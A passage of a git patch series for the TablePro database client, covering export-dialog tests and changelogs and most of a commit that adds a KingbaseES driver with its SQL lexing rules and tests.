+            sheet.staticTexts["6 tables to export"].waitToExist(timeout: 10),
+            "Ticking the database must select every table"
+        )
+        for column in ["Drop", "Data"] {
+            let box = tree.checkBoxes.matching(
+                NSPredicate(format: "label BEGINSWITH %@ AND label ENDSWITH %@", "\(column) for ", ".sqlite")
+            ).firstMatch
+            XCTAssertTrue(box.waitToExist(timeout: 10), "The database row must offer a \(column) checkbox")
+            box.click()
+            XCTAssertTrue(
+                waitForPredicate(timeout: 10) { (box.value as? Int) == 0 },
+                "\(column) must turn off for the whole database"
+            )
+        }
+
+        save(from: sheet, to: exported, in: app)
+
+        XCTAssertTrue(
+            waitForPredicate(timeout: 30) { FileManager.default.fileExists(atPath: exported.path) },
+            "Export must write \(exported.lastPathComponent) into the chosen folder"
+        )
+        let sql = try String(contentsOf: exported, encoding: .utf8)
+        XCTAssertEqual(
+            sql.components(separatedBy: "CREATE TABLE").count - 1, 6,
+            "The file must create every one of the fixture's six tables"
+        )
+        XCTAssertFalse(sql.contains("INSERT INTO"), "A structure-only export must hold no row")
+        XCTAssertFalse(sql.contains("DROP TABLE"), "A structure-only export must drop nothing")
+    }
+
     // Clicks Export…, names the file in the save panel, moves the panel to the file's folder and saves.
     private func save(from sheet: XCUIElement, to exported: URL, in app: XCUIApplication) {
         let destination = exported.deletingLastPathComponent()
diff --git a/apple/changelog.d/3857.added.md b/apple/changelog.d/3857.added.md
new file mode 100644
index 0000000000..3bcd523a64
--- /dev/null
+++ b/apple/changelog.d/3857.added.md
@@ -0,0 +1 @@
+In the export dialog, a database, schema or group row now sets Structure, Drop or Data for every object beneath it.
diff --git a/apple/changelog.d/3857.changed.md b/apple/changelog.d/3857.changed.md
new file mode 100644
index 0000000000..6e53aa2168
--- /dev/null
+++ b/apple/changelog.d/3857.changed.md
@@ -0,0 +1 @@
+Each export option is now its own column with a heading, and a table's checkbox only includes or excludes it.
diff --git a/apple/changelog.d/3857.fixed.1.md b/apple/changelog.d/3857.fixed.1.md
new file mode 100644
index 0000000000..922a2b9b0a
--- /dev/null
+++ b/apple/changelog.d/3857.fixed.1.md
@@ -0,0 +1 @@
+Switching an SQL export to CSV and back dropped routines, triggers, sequences and types from the list.
diff --git a/apple/changelog.d/3857.fixed.2.md b/apple/changelog.d/3857.fixed.2.md
new file mode 100644
index 0000000000..4e59220855
--- /dev/null
+++ b/apple/changelog.d/3857.fixed.2.md
@@ -0,0 +1 @@
+A format change that reloaded the export list dropped each table's row filter.
diff --git a/apple/changelog.d/3857.fixed.3.md b/apple/changelog.d/3857.fixed.3.md
new file mode 100644
index 0000000000..0a35a1c719
--- /dev/null
+++ b/apple/changelog.d/3857.fixed.3.md
@@ -0,0 +1 @@
+The export dialog's Structure, Drop and Data headings sat off their checkboxes and were never translated.
diff --git a/apple/changelog.d/3857.fixed.4.md b/apple/changelog.d/3857.fixed.4.md
new file mode 100644
index 0000000000..d151628190
--- /dev/null
+++ b/apple/changelog.d/3857.fixed.4.md
@@ -0,0 +1 @@
+An MQL export with Data off showed its progress stuck at 0 rows.
diff --git a/apple/changelog.d/3857.fixed.5.md b/apple/changelog.d/3857.fixed.5.md
new file mode 100644
index 0000000000..4dd508c239
--- /dev/null
+++ b/apple/changelog.d/3857.fixed.5.md
@@ -0,0 +1 @@
+Space over a database and its rows in the export or backup list toggled the rows twice.
diff --git a/apple/changelog.d/3857.fixed.6.md b/apple/changelog.d/3857.fixed.6.md
new file mode 100644
index 0000000000..f01a404d6d
--- /dev/null
+++ b/apple/changelog.d/3857.fixed.6.md
@@ -0,0 +1 @@
+Opening a query tab, or loading a query, from a query tab left the keyboard in the grid or sidebar.
diff --git a/apple/changelog.d/3857.fixed.md b/apple/changelog.d/3857.fixed.md
new file mode 100644
index 0000000000..8305ddc19f
--- /dev/null
+++ b/apple/changelog.d/3857.fixed.md
@@ -0,0 +1 @@
+A saved export selection made under another format came back with every option turned on.

From b793bc1490dac11699420dc5d111bc4e690b9127 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Nguy=E1=BB=85n=20Nam=20Long?= <j2teamnnl@gmail.com>
Date: Tue, 27 Oct 2026 20:11:43 +0700
Subject: [PATCH 09/44] feat(kingbasees): add a registry driver (#3855)

Co-authored-by: Ngo Quoc Dat <datlechin@gmail.com>
---
 .github/plugin-registry.json                  |   3 +
 .../TableProSQLGrammar/PLSQLUnitTracker.swift |  11 +
 .../SQLLexicalProfile.swift                   |   7 +
 .../SQLStatementBoundaryTracking.swift        |  13 +-
 .../SQLStatementScanner.swift                 |   5 +-
 .../SQLEngineVocabulary.swift                 |   1 +
 .../KingbaseESDialectTests.swift              |  13 +
 .../SQLLexicalReadingsTests.swift             |  33 ++-
 .../SQLEngineVocabularyTests.swift            |   3 +-
 .../SQL/Folding/SQLFoldScanner.swift          |   7 +-
 .../SQL/SQLStateChangingFunctions.swift       |   5 +-
 .../SQLExportSessionDeclarationTests.swift    |   7 +
 .../Plugins/KingbaseESDriverPlugin/Info.plist |  12 +
 .../KingbaseESCompatibilityMode.swift         |  37 +++
 .../KingbaseESPlugin.swift                    |  72 +++++
 .../KingbaseESPluginDriver.swift              |  23 ++
 .../LibPQDriverCore.swift                     |   4 +-
 .../PostgreSQLIndexQueries.swift              |  18 +-
 ...PostgreSQLPluginDriver+ColumnReorder.swift |   4 +-
 .../PostgreSQLPluginDriver.swift              |  17 +-
 .../PostgreSQLSchemaManagementQueries.swift   |   2 +-
 .../PostgreSQLSchemaQueries.swift             |  37 ++-
 .../PostgreSQLCatalogSQLPinTests.swift        |   6 +-
 ...reSQLColumnDDLSequenceCollationTests.swift |  16 +-
 .../PostgreSQLColumnQueryTests.swift          |  10 +-
 .../PostgreSQLIndexReplayTests.swift          |   8 +-
 .../SQLExportSessionDeclaration.swift         |   2 +-
 .../TableProPluginKit/SqlDialect.swift        |   2 +-
 .../Core/Autocomplete/CompletionEngine.swift  |   7 +-
 .../Autocomplete/QueryCompletionService.swift |   5 +-
 .../SQLCompletionProvider+App.swift           |  18 +-
 .../Autocomplete/SQLCompletionService.swift   |   7 +-
 .../Core/Autocomplete/SQLSchemaProvider.swift |   6 +-
 .../TablePro/Core/Compare/CompareRunner.swift |   8 +-
 .../Core/Compare/CompareSQLLiteral.swift      |   2 +-
 .../Compare/CompareSyncEngineFamily.swift     |  27 +-
 .../Core/Compare/CompareSyncExecutor.swift    |  16 +-
 .../Core/Compare/CompareSyncSession.swift     |  19 +-
 .../Compare/SchemaSyncScriptBuilder.swift     |   7 +-
 .../Core/Compare/SourceObjectDiffEngine.swift |  12 +-
 .../Compare/SourceObjectSyncBuilder.swift     |   8 +-
 .../CrossEngineIndexTranslator.swift          |   2 +-
 .../Core/CrossEngine/SQLTypeFamily.swift      |  16 ++
 .../Core/DataWrite/DataWriteRowCounts.swift   |   2 +-
 .../DataWrite/ExplicitIdentityInsert.swift    |   2 +-
 .../Access/DatabaseAccessBridge.swift         |  16 +-
 .../Database/DatabaseManager+Startup.swift    |  14 +-
 .../Core/Database/FilterSQLGenerator.swift    |  15 +-
 .../Core/Diagnostics/QueryDiagnostic.swift    |   5 +-
 .../ObjectCopy/ObjectCopyEligibility.swift    |  48 +++-
 .../Core/ObjectCopy/ObjectCopyPlan.swift      |   9 +-
 .../Core/ObjectCopy/ObjectCopyPlanner.swift   |  31 ++-
 .../Core/ObjectCopy/ObjectCopySession.swift   |   4 +-
 .../Core/Plugins/DatabaseType+Registry.swift  |   2 +
 .../Plugins/ExportDataSourceAdapter.swift     |   5 +-
 .../Core/Plugins/ImportDataSinkAdapter.swift  |   7 +-
 .../Core/Plugins/ImportTypeMapper.swift       |   2 +-
 ...uginMetadataRegistry+CuratedDefaults.swift |   2 +-
 ...nMetadataRegistry+KingbaseESDefaults.swift |  41 +++
 .../PostgreSQLDashboardProvider.swift         |   3 +-
 .../ServerDashboardQueryProviderFactory.swift |   2 +-
 .../CellValues/CellExpressionVocabulary.swift |   2 +-
 .../Execution/TransactionEngineFamily.swift   |   1 +
 .../Core/Services/Export/ImportService.swift  |   2 +-
 .../Services/Export/RowImportTableMaker.swift |   5 +-
 .../Services/Query/CatalogChangeService.swift |  10 +-
 .../Query/ExplainPlanFormatDefaults.swift     |   2 +-
 .../SQL/CatalogChangeClassifier.swift         |  16 +-
 .../Utilities/SQL/QueryClassifier+PLSQL.swift |   4 -
 .../Core/Utilities/SQL/QueryClassifier.swift  |   6 +-
 .../Core/Utilities/SQL/SQLFileParser.swift    |  21 +-
 .../Utilities/SQL/SQLLexicalResolver.swift    |  17 +-
 .../SQL/SQLRowToStatementConverter.swift      |   2 +-
 .../Core/Utilities/SQL/SQLScriptText.swift    |   7 +-
 apple/TablePro/Info.plist                     |   2 +
 .../Models/Connection/DatabaseType.swift      |   1 +
 .../Schema/ColumnDefaultVocabulary.swift      |  11 +-
 .../Models/Schema/ForeignKeyDialect.swift     |   2 +-
 .../Models/Schema/IndexKeyDialect.swift       |   2 +-
 .../TablePro/Resources/Localizable.xcstrings  |  16 ++
 .../AIChatViewModel+SchemaContext.swift       |   2 +-
 .../Editor/Folding/FoldProviderResolver.swift |  10 +-
 .../Views/Editor/QueryCompletionAdapter.swift |  11 +-
 .../Editor/QueryDiagnosticsController.swift   |   5 +-
 .../Views/Editor/SQLEditorController.swift    |  42 ++-
 ...ditorCoordinator+InvisibleCharacters.swift |   3 +-
 .../Views/Editor/SQLEditorCoordinator.swift   |  25 +-
 .../TablePro/Views/Import/ImportDialog.swift  |  10 +-
 .../Services/IOSConnectionImportService.swift |   2 +-
 .../MacOnlyImportRowTests.swift               |   4 +-
 .../Core/Compare/CompareSQLLiteralTests.swift |   2 +-
 .../CompareSyncSessionFamilyTests.swift       |  42 +++
 .../CrossEngineIndexTypeTests.swift           |   7 +
 .../DataWrite/DataWriteExecutorTests.swift    |  12 +
 ...angeStatementFactoryServerOwnedTests.swift |   6 +-
 .../DatabaseAccessBridgeStatementTests.swift  |  23 ++
 .../FilterSQLGeneratorColumnTypeTests.swift   |  34 +++
 .../Database/StartupStatementsTests.swift     |   8 +
 .../ExternalStatementGateTests.swift          |   6 +-
 .../ObjectCopyEligibilityTests.swift          |  35 +++
 .../Core/Plugins/ImportTypeMapperTests.swift  |   6 +
 ...luginMetadataRegistryKingbaseESTests.swift |  37 +++
 ...PluginMetadataRegistryTypeCountTests.swift |   2 +-
 .../PostgreSQLDashboardProviderTests.swift    |   9 +
 ...erDashboardQueryProviderFactoryTests.swift |   3 +-
 .../CellExpressionVocabularyTests.swift       |   6 +
 .../TransactionEngineFamilyTests.swift        |   2 +-
 .../ImportServiceSessionGrammarTests.swift    | 112 ++++++++
 .../ExplainPlanFormatResolutionTests.swift    |   1 +
 .../SQL/CatalogChangeClassifierTests.swift    |   7 +
 .../SQL/QueryClassifierLexicalTests.swift     |   1 +
 .../SQL/SQLFileParserPLSQLTests.swift         |  15 +
 .../Utilities/SQL/SQLScriptTextTests.swift    |   9 +
 .../SQLRowToStatementConverterTests.swift     |  27 ++
 .../Helpers/ScriptAnsweringDriver.swift       |   3 +
 apple/TableProTests/Helpers/TestGrammar.swift |  13 +
 .../Database/SQLDDLFallbackPolicyTests.swift  |   4 +-
 .../Schema/ColumnDefaultVocabularyTests.swift |   3 +
 .../Schema/ForeignKeyDialectTests.swift       |   7 +
 .../Models/Schema/IndexKeyListTests.swift     |   2 +-
 .../Editor/SQLEditorSessionGrammarTests.swift |  80 ++++++
 apple/changelog.d/3855.added.md               |   1 +
 apple/changelog.d/3855.fixed.md               |   1 +
 apple/project.yml                             |  12 +
 .../probes/check-column-type-corpus.sh        |   4 +-
 apple/scripts/probes/check-kingbasees.sh      |  55 ++++
 apple/scripts/probes/kingbasees-probe.swift   | 256 ++++++++++++++++++
 127 files changed, 1653 insertions(+), 191 deletions(-)
 create mode 100644 apple/Packages/TableProCore/Tests/TableProPluginKitTests/KingbaseESDialectTests.swift
 create mode 100644 apple/Plugins/KingbaseESDriverPlugin/Info.plist
 create mode 100644 apple/Plugins/KingbaseESDriverPlugin/KingbaseESCompatibilityMode.swift
 create mode 100644 apple/Plugins/KingbaseESDriverPlugin/KingbaseESPlugin.swift
 create mode 100644 apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift
 create mode 100644 apple/TablePro/Core/Plugins/PluginMetadataRegistry+KingbaseESDefaults.swift
 create mode 100644 apple/TableProTests/Core/Compare/CompareSyncSessionFamilyTests.swift
 create mode 100644 apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift
 create mode 100644 apple/TableProTests/Core/Services/ImportServiceSessionGrammarTests.swift
 create mode 100644 apple/TableProTests/Views/Editor/SQLEditorSessionGrammarTests.swift
 create mode 100644 apple/changelog.d/3855.added.md
 create mode 100644 apple/changelog.d/3855.fixed.md
 create mode 100755 apple/scripts/probes/check-kingbasees.sh
 create mode 100644 apple/scripts/probes/kingbasees-probe.swift

diff --git a/.github/plugin-registry.json b/.github/plugin-registry.json
index a9eb89b33c..f6bf29a547 100644
--- a/.github/plugin-registry.json
+++ b/.github/plugin-registry.json
@@ -43,6 +43,9 @@
     "KafkaDriverPlugin": {
       "name": "Kafka Driver"
     },
+    "KingbaseESDriverPlugin": {
+      "name": "KingbaseES Driver"
+    },
     "LibSQLDriverPlugin": {
       "name": "libSQL / Turso Driver"
     },
diff --git a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/PLSQLUnitTracker.swift b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/PLSQLUnitTracker.swift
index deebfc6220..f0c5161f62 100644
--- a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/PLSQLUnitTracker.swift
+++ b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/PLSQLUnitTracker.swift
@@ -184,6 +184,17 @@ public struct PLSQLUnitTracker: SQLStatementBoundaryTracking {
         settlePendingBeforeNonWord()
     }
 
+    /// KingbaseES in Oracle mode also takes PostgreSQL's quoted routine body, `AS 'SELECT 1'` or `AS $$ ... $$`, which
+    /// opens no block. Oracle never puts a literal after a subprogram's `IS` or `AS`; a quoted name there still starts
+    /// its declarations.
+    public mutating func observeQuotedToken(opener: UInt16) {
+        if pendingBodyKeyword, opener != SqlLexer.doubleQuote {
+            pendingBodyKeyword = false
+            header = nil
+        }
+        observeOpaqueToken()
+    }
+
     /// PL/SQL reads `a . b` as `a.b`, so whitespace leaves a member name a member name.
     public mutating func observeGap() {}
 
diff --git a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalProfile.swift b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalProfile.swift
index 455d502584..fd905b464c 100644
--- a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalProfile.swift
+++ b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalProfile.swift
@@ -219,6 +219,13 @@ public struct SQLLexicalProfile: Sendable, Hashable {
             "AlloyDB": postgreSQLFamily,
             "Citus": postgreSQLFamily,
             "PGlite": postgreSQLFamily,
+            "KingbaseES": SQLLexicalProfile(
+                grammar: postgreSQL,
+                undetermined: [
+                    .backslashEscapesInSingleQuotes, .alternativeQuoting, .plsqlBlocks,
+                    .slashLineTerminators, .dollarAndHashInIdentifiers,
+                ]
+            ),
             "Redshift": SQLLexicalProfile(
                 grammar: postgreSQL,
                 undetermined: [.backslashEscapesInSingleQuotes, .nestedBlockComments, .escapeStringPrefix]
diff --git a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementBoundaryTracking.swift b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementBoundaryTracking.swift
index 90d6374010..a3c39e0a67 100644
--- a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementBoundaryTracking.swift
+++ b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementBoundaryTracking.swift
@@ -20,7 +20,8 @@ public enum SQLStatementTerminator: Equatable, Sendable {
 /// boundaries without looking ahead.
 ///
 /// Words arrive uppercased. Whitespace and comments arrive as ``observeGap()``; a string literal, a quoted identifier
-/// or a dollar-quoted body arrives as ``observeOpaqueToken()``.
+/// or a dollar-quoted body arrives as ``observeQuotedToken(opener:)``, and any other token no word or symbol describes
+/// as ``observeOpaqueToken()``.
 public protocol SQLStatementBoundaryTracking {
     /// Whether words still bear on where this statement ends. A reader that has to assemble words itself can stop
     /// doing so once this is false, which keeps a plain `INSERT` dump free of the cost.
@@ -36,6 +37,10 @@ public protocol SQLStatementBoundaryTracking {
     mutating func observeSymbol(_ symbol: UInt16)
     mutating func observeOpaqueToken()
 
+    /// A quoted token, named by its first character: `'`, `$`, or a prefix such as `E` or `q` for a literal, and `"`,
+    /// a backtick or `[` for a quoted name.
+    mutating func observeQuotedToken(opener: UInt16)
+
     /// Whitespace or a comment between two tokens, which keeps a word from continuing the name before it: `x$MERGE`
     /// is one name in T-SQL, while `x$` and `MERGE` on the next line are a name and a statement.
     mutating func observeGap()
@@ -46,6 +51,12 @@ public protocol SQLStatementBoundaryTracking {
     mutating func reset()
 }
 
+public extension SQLStatementBoundaryTracking {
+    mutating func observeQuotedToken(opener: UInt16) {
+        observeOpaqueToken()
+    }
+}
+
 public enum SQLStatementBoundaries {
     /// The one place a grammar is matched to its statement boundaries, so no reader can pick a different one.
     public static func makeTracker(for grammar: SQLLexicalGrammar) -> any SQLStatementBoundaryTracking {
diff --git a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementScanner.swift b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementScanner.swift
index b6d089d98b..0356e206bd 100644
--- a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementScanner.swift
+++ b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementScanner.swift
@@ -333,7 +333,10 @@ public enum SQLStatementScanner {
                     tracker.observeGap()
                 case .executableComment:
                     hasStatementContent = true
-                case .quoted, .parameter:
+                case .quoted:
+                    hasStatementContent = true
+                    tracker.observeQuotedToken(opener: nsQuery.character(at: span.start))
+                case .parameter:
                     hasStatementContent = true
                     tracker.observeOpaqueToken()
                 }
diff --git a/apple/Packages/TableProCore/Sources/TableProSQLVocabulary/SQLEngineVocabulary.swift b/apple/Packages/TableProCore/Sources/TableProSQLVocabulary/SQLEngineVocabulary.swift
index be6c736643..958fc6f6a8 100644
--- a/apple/Packages/TableProCore/Sources/TableProSQLVocabulary/SQLEngineVocabulary.swift
+++ b/apple/Packages/TableProCore/Sources/TableProSQLVocabulary/SQLEngineVocabulary.swift
@@ -67,6 +67,7 @@ public struct SQLEngineVocabulary: Sendable, Hashable {
         "PostgreSQL": postgreSQL,
         "CockroachDB": postgreSQL,
         "PGlite": postgreSQL,
+        "KingbaseES": postgreSQL,
         "Redshift": redshift,
         "SQLite": sqlite,
         "SQL Server": sqlServer,
diff --git a/apple/Packages/TableProCore/Tests/TableProPluginKitTests/KingbaseESDialectTests.swift b/apple/Packages/TableProCore/Tests/TableProPluginKitTests/KingbaseESDialectTests.swift
new file mode 100644
index 0000000000..cc491ae296
--- /dev/null
+++ b/apple/Packages/TableProCore/Tests/TableProPluginKitTests/KingbaseESDialectTests.swift
@@ -0,0 +1,13 @@
+import TableProPluginKit
+import Testing
+
+struct KingbaseESDialectTests {
+    @Test("KingbaseES keeps PostgreSQL dollar quotes and escape strings")
+    func postgresLexing() {
+        let dialect = SqlDialect.from(databaseTypeId: "KingbaseES")
+        #expect(dialect == .postgres)
+        #expect(dialect.supportsDollarQuotes)
+        #expect(dialect.supportsEscapeStringPrefix)
+        #expect(!dialect.requiresBackslashEscapesInSingleQuotes)
+    }
+}
diff --git a/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift b/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift
index 87fbf18b84..a4da4e263f 100644
--- a/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift
+++ b/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift
@@ -7,7 +7,7 @@ struct SQLLexicalReadingsTests {
     @Test("Every SQL engine TablePro ships has a curated grammar")
     func curatedTableCoversShippedEngines() {
         let shipped = [
-            "MySQL", "MariaDB", "TiDB", "Databend", "OceanBase", "PostgreSQL", "Redshift", "CockroachDB", "PGlite",
+            "MySQL", "MariaDB", "TiDB", "Databend", "OceanBase", "PostgreSQL", "Redshift", "CockroachDB", "PGlite", "KingbaseES",
             "SQLite", "libSQL", "Turso", "Cloudflare D1", "DuckDB", "Oracle", "Dameng", "SQL Server", "ClickHouse",
             "Snowflake", "BigQuery", "Spanner", "Trino", "Presto", "Teradata", "SAP HANA", "Cassandra", "ScyllaDB", "DynamoDB",
             "SurrealDB", "Redis", "MongoDB", "etcd", "Elasticsearch", "Typesense", "Weaviate", "Kafka",
@@ -130,4 +130,35 @@ struct SQLLexicalReadingsTests {
         ])
         #expect(profile.readings.first == .ansi)
     }
+    @Test("KingbaseES retains both compatibility-mode readings before a session is known")
+    func kingbaseCompatibilityReadings() throws {
+        let profile = try #require(SQLLexicalProfile.curated(forDatabaseTypeId: "KingbaseES"))
+        #expect(profile.grammar.contains(.taggedDollarQuotes))
+        #expect(profile.readings.contains { $0.contains(.alternativeQuoting) && $0.contains(.plsqlBlocks) })
+        let oracle = SQLSessionLexicalFacts(
+            determined: [.alternativeQuoting, .plsqlBlocks], enabled: [.alternativeQuoting, .plsqlBlocks]
+        )
+        let readings = SQLLexicalReadings.resolve(databaseTypeId: "KingbaseES", declared: nil, session: oracle)
+        #expect(readings.execution.contains(.alternativeQuoting))
+        #expect(readings.execution.contains(.plsqlBlocks))
+        #expect(readings.all.contains { !$0.contains(.alternativeQuoting) })
+    }
+
+    // Measured on KingbaseES V9R1C10 in Oracle mode: each of these creates its function, beside PL/SQL bodies.
+    @Test("Oracle-mode KingbaseES ends a quoted routine body at its semicolon and keeps a PL/SQL body whole")
+    func kingbaseOracleModeRoutineBodies() {
+        let oracle = SQLSessionLexicalFacts(
+            determined: [.alternativeQuoting, .plsqlBlocks, .slashLineTerminators, .dollarAndHashInIdentifiers],
+            enabled: [.alternativeQuoting, .plsqlBlocks, .slashLineTerminators, .dollarAndHashInIdentifiers]
+        )
+        let grammar = SQLLexicalReadings.resolve(databaseTypeId: "KingbaseES", declared: nil, session: oracle).execution
+        func sent(_ sql: String) -> [String] {
+            SQLStatementScanner.executableStatements(in: sql, grammar: grammar).map(\.sql)
+        }
+        #expect(sent("CREATE FUNCTION f() RETURNS integer LANGUAGE SQL AS 'SELECT 42'; SELECT 2;").count == 2)
+        #expect(sent("CREATE FUNCTION f() RETURNS integer AS $$ SELECT 1; $$ LANGUAGE sql; SELECT 2;").count == 2)
+        #expect(sent("CREATE FUNCTION f() RETURNS integer AS $b$ BEGIN RETURN 1; END; $b$ LANGUAGE plpgsql; SELECT 2;").count == 2)
+        #expect(sent("CREATE FUNCTION f RETURN NUMBER AS BEGIN RETURN 1; END;\n/\nSELECT 2;").count == 2)
+        #expect(sent("CREATE FUNCTION f RETURN NUMBER AS \"v\" NUMBER := 1; BEGIN RETURN \"v\"; END;\n/\nSELECT 2;").count == 2)
+    }
 }
diff --git a/apple/Packages/TableProCore/Tests/TableProSQLVocabularyTests/SQLEngineVocabularyTests.swift b/apple/Packages/TableProCore/Tests/TableProSQLVocabularyTests/SQLEngineVocabularyTests.swift
index 42ef86641d..8cf6396385 100644
--- a/apple/Packages/TableProCore/Tests/TableProSQLVocabularyTests/SQLEngineVocabularyTests.swift
+++ b/apple/Packages/TableProCore/Tests/TableProSQLVocabularyTests/SQLEngineVocabularyTests.swift
@@ -9,7 +9,7 @@ struct SQLEngineVocabularyTests {
         let typeIds = SQLEngineVocabulary.curatedDatabaseTypeIds
         #expect(typeIds == [
             "MySQL", "MariaDB", "TiDB", "Databend", "OceanBase",
-            "PostgreSQL", "CockroachDB", "PGlite", "Redshift",
+            "PostgreSQL", "CockroachDB", "PGlite", "KingbaseES", "Redshift",
             "SQLite", "SQL Server", "Oracle", "DuckDB",
         ])
         for typeId in typeIds {
@@ -32,6 +32,7 @@ struct SQLEngineVocabularyTests {
         ("OceanBase", "MySQL"),
         ("CockroachDB", "PostgreSQL"),
         ("PGlite", "PostgreSQL"),
+        ("KingbaseES", "PostgreSQL"),
     ])
     func variantResolvesLikeItsBase(variant: String, base: String) {
         let resolved = SQLEngineVocabulary.curated(forDatabaseTypeId: variant)
diff --git a/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/Folding/SQLFoldScanner.swift b/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/Folding/SQLFoldScanner.swift
index 325c1c55d9..30a7ce249d 100644
--- a/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/Folding/SQLFoldScanner.swift
+++ b/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/Folding/SQLFoldScanner.swift
@@ -243,10 +243,13 @@ private struct Scan {
             appendSpanningRegion(.blockComment, start: start, startLine: startLine, end: span.contentEnd)
         case .quoted where text.character(at: index) == SqlDollarQuote.dollar:
             openStatementIfNeeded()
-            boundaries.observeOpaqueToken()
+            boundaries.observeQuotedToken(opener: SqlDollarQuote.dollar)
             line += span.newlines
             appendSpanningRegion(.quotedBody, start: start, startLine: startLine, end: span.contentEnd)
-        case .quoted, .parameter:
+        case .quoted:
+            boundaries.observeQuotedToken(opener: text.character(at: index))
+            line += span.newlines
+        case .parameter:
             boundaries.observeOpaqueToken()
             line += span.newlines
         }
diff --git a/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/SQLStateChangingFunctions.swift b/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/SQLStateChangingFunctions.swift
index f6ca4fcf81..0d2304802d 100644
--- a/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/SQLStateChangingFunctions.swift
+++ b/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/SQLStateChangingFunctions.swift
@@ -2,7 +2,10 @@ import Foundation
 
 public enum SQLStateChangingFunctions {
     public static func contains(_ name: String) -> Bool {
-        names.contains(name.lowercased())
+        let lowered = name.lowercased()
+        // KingbaseES ships each pg_ function under a sys_ name too, such as sys_terminate_backend (measured on V9R1C10).
+        if lowered.hasPrefix("sys_") { return names.contains("pg_" + lowered.dropFirst(4)) }
+        return names.contains(lowered)
     }
 
     private static let names: Set<String> = serverSignals
diff --git a/apple/Plugins/FormatPluginTests/SQLExportSessionDeclarationTests.swift b/apple/Plugins/FormatPluginTests/SQLExportSessionDeclarationTests.swift
index 2bb3b6da92..7f469d581c 100644
--- a/apple/Plugins/FormatPluginTests/SQLExportSessionDeclarationTests.swift
+++ b/apple/Plugins/FormatPluginTests/SQLExportSessionDeclarationTests.swift
@@ -268,4 +268,11 @@ struct SQLExportSessionDeclarationTests {
         #expect(parts.count == 1)
         #expect(!writer.didSplit)
     }
+    @Test("KingbaseES dumps declare PostgreSQL string and encoding semantics")
+    func kingbaseSessionDeclaration() {
+        #expect(SQLExportSessionDeclaration.forDatabaseType("KingbaseES")
+            == SQLExportSessionDeclaration.forDatabaseType("PostgreSQL"))
+        #expect(!SQLExportSessionDeclaration.forDatabaseType("KingbaseES").prologue.isEmpty)
+    }
+
 }
diff --git a/apple/Plugins/KingbaseESDriverPlugin/Info.plist b/apple/Plugins/KingbaseESDriverPlugin/Info.plist
new file mode 100644
index 0000000000..2a09d82f10
--- /dev/null
+++ b/apple/Plugins/KingbaseESDriverPlugin/Info.plist
@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>TableProPluginKitVersion</key>
+	<integer>TABLEPRO_PLUGINKIT_VERSION</integer>
+	<key>TableProProvidesDatabaseTypeIds</key>
+	<array>
+		<string>KingbaseES</string>
+	</array>
+</dict>
+</plist>
diff --git a/apple/Plugins/KingbaseESDriverPlugin/KingbaseESCompatibilityMode.swift b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESCompatibilityMode.swift
new file mode 100644
index 0000000000..3dca8c1353
--- /dev/null
+++ b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESCompatibilityMode.swift
@@ -0,0 +1,37 @@
+import Foundation
+import TableProPluginKit
+
+/// The SQL a KingbaseES server speaks, fixed when its cluster is initialized.
+enum KingbaseESCompatibilityMode: Equatable, Sendable {
+    case postgreSQL
+    case oracle
+
+    // The two-argument form answers NULL where the parameter does not exist, which reads as PostgreSQL mode.
+    static let probeQuery = "SELECT current_setting('database_mode', true)"
+
+    static let lexicalFeaturesItDecides: SQLLexicalFeatures = [
+        .alternativeQuoting, .plsqlBlocks, .slashLineTerminators, .dollarAndHashInIdentifiers,
+    ]
+
+    init(setting: String?) throws {
+        switch setting?.lowercased() {
+        case nil, "pg":
+            self = .postgreSQL
+        case "oracle":
+            self = .oracle
+        case let other?:
+            throw LibPQPluginError(
+                message: String(
+                    format: String(localized: "KingbaseES in %@ mode is not supported. Connect to a server in PostgreSQL or Oracle mode."),
+                    other
+                ),
+                sqlState: nil,
+                detail: nil
+            )
+        }
+    }
+
+    var lexicalFeatures: SQLLexicalFeatures {
+        self == .oracle ? Self.lexicalFeaturesItDecides : []
+    }
+}
diff --git a/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPlugin.swift b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPlugin.swift
new file mode 100644
index 0000000000..bbcf6caae8
--- /dev/null
+++ b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPlugin.swift
@@ -0,0 +1,72 @@
+import Foundation
